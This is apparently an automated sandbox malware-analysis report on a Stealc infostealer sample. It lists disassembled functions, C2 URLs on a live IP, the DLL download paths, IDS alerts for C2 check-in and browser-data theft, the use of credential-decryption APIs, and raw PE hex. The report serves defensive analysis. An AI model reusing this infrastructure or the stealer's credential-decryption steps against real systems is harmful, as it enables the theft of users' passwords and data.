Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 63922f0c59fa79b2bde6a1c24ff2ba68451f794c1d603415479ce61b101e64b6
Instruction ID: b822c7cb4b7b988525ca6d3716dc4f653c96b900658baf23e4b0ae9cb98d8514
Opcode Fuzzy Hash: 63922f0c59fa79b2bde6a1c24ff2ba68451f794c1d603415479ce61b101e64b6
Instruction Fuzzy Hash: 3E11B235F1478897DB009B69D8148ADB775EF96218B498258DC499B602FB32A984C350

Function 6CC26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC26E22
__Init_thread_footer.LIBCMT ref: 6CC26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC26E1D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 58ff088fa639cca0f8c814cbb759ad23b811a4667dd471c1862810dcd1ef98cb
Instruction ID: 38b8c3d0c349680af54447e3e14c6329cc0085f11c0a400c23c2fa24aa438c2f
Opcode Fuzzy Hash: 58ff088fa639cca0f8c814cbb759ad23b811a4667dd471c1862810dcd1ef98cb
Instruction Fuzzy Hash: FEF05235204680CFEB00ABE8C850AD67772A31331CF04C165C89087BA2FB64E51BCEB3

Function 6CBD9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CBD9EEF

Strings

NaN, xrefs: 6CBD9EC1
Infinity, xrefs: 6CBD9EB7

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7a3ad8e5f388b8cf485f5ad108bd2b3d96fd8dc5472cdbd1b333582aabfa4162
Instruction ID: 7f69169f990de89966625f2a024636a9fa20d551966143f40af1bcaf44233ecc
Opcode Fuzzy Hash: 7a3ad8e5f388b8cf485f5ad108bd2b3d96fd8dc5472cdbd1b333582aabfa4162
Instruction Fuzzy Hash: CCF0CD71A00282CFEB00EF98EA55B823371B30730DF21CAD8C5040BB41E7B5A55ACA82

Function 6CBDBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CBDBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CBDBEF5

Strings

cryptbase.dll, xrefs: 6CBDBEF0

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 8cde3a104228d9a1e325661d73df71d4e1fd46163ac88ce9dbb106b3eb575255
Instruction ID: 4973c046af8b3913769da5df3646cad273a83f4a8889a9a9a2ac42438425f3b3
Opcode Fuzzy Hash: 8cde3a104228d9a1e325661d73df71d4e1fd46163ac88ce9dbb106b3eb575255
Instruction Fuzzy Hash: 7AD0A932284A08EBCA00BAA08C0AF293BB8A702329F20C420F30984891C7B0A410CB80

Function 6CC1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B628

Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC190FF
Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CC1B127,?,?,?,?,?,?,?,?), ref: 6CC1B74D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7e31d3a90234567324e1b7be74e7322411aeebeb0971450b4d873a0da612f46
Instruction ID: 2300b0027af688f6ac0b68e73b3f39d69be3b0252883d77f24dd7f024f14bfe9
Opcode Fuzzy Hash: a7e31d3a90234567324e1b7be74e7322411aeebeb0971450b4d873a0da612f46
Instruction Fuzzy Hash: 1E51D2B1A092168FDB14CF1AC9A075EB7B1FF85304F05856DC85AABB10E731E805CFA1

Function 6CC16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CC16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CC16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC16F5C

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: fb4a8d6928eca4e84278d0d420dc47bbbd23eac710328c9db869425616b20dfe
Instruction ID: c390ef72ec15d357ffb088da97ba0ec4d5f6014cabbfd641a407f45e9c64c4fc
Opcode Fuzzy Hash: fb4a8d6928eca4e84278d0d420dc47bbbd23eac710328c9db869425616b20dfe
Instruction Fuzzy Hash: DB31E471A14A0A8FDB04CF2DC9807AA73F9EF85304F50823AD41AC7A61FB31E659D790

Function 6CC2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CBD0A4D), ref: 6CC2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CBD0A4D), ref: 6CC2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CBD0A4D), ref: 6CC2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CBD0A4D), ref: 6CC2B67F

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 7eecd011bad685a7498054da26b3207aab13f6954615dc00f4b5070f75f0bf94
Instruction ID: 8f8df86bd4418bf86801d774c306a1cc483bfde197c2a6e2999d46fb8833e108
Opcode Fuzzy Hash: 7eecd011bad685a7498054da26b3207aab13f6954615dc00f4b5070f75f0bf94
Instruction Fuzzy Hash: 863104B1A006168FDB14DF58C854A5ABBF6FF80305F16C62AC8179B311EB36E915CBE0

Function 6CBFF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBFF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CBFF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBFF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CBFF668

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 683dd0be1e35e95d2d343bd73d60506a703ddf0a7bfa7fb791bfbc7e8907c87f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 99313E71A00224AFCB14CF69DCC0A9E77F5EB84354B148539EA598BB04E631ED49CB90

Function 6CC126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC126C1
free.MOZGLUE(?), ref: 6CC126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC126FF
free.MOZGLUE ref: 6CC1270D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3ba2d4c3a624d0fff13b8363e66766ec04a6b02dd4b0f8b4ed002a52d3c36079
Instruction ID: 8c1a757c2d146d3c18a94477d710e64ff1643f37702c3cc3cefba0c40ec9a0b1
Opcode Fuzzy Hash: 3ba2d4c3a624d0fff13b8363e66766ec04a6b02dd4b0f8b4ed002a52d3c36079
Instruction Fuzzy Hash: A0F0F4B67052405BE7109A19E888A5BB3A9EF5635CB144035EA1AC3F02F332F919D6A6

Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpGO	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpBrowser	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpst~	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll3h	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpX&	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dllkhY	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php_O	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpst	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpC	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php(	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpER	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php=I%	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll4j	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php0	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll=io	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpro	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dllpj	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll%h	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpJJKKJJDAAAAAKFHJJOv	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dllAj	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php=C	Avira URL Cloud: Label: malware

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CBD6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49704 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49704 -> 185.215.113.100:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:25 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 20:05:26 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 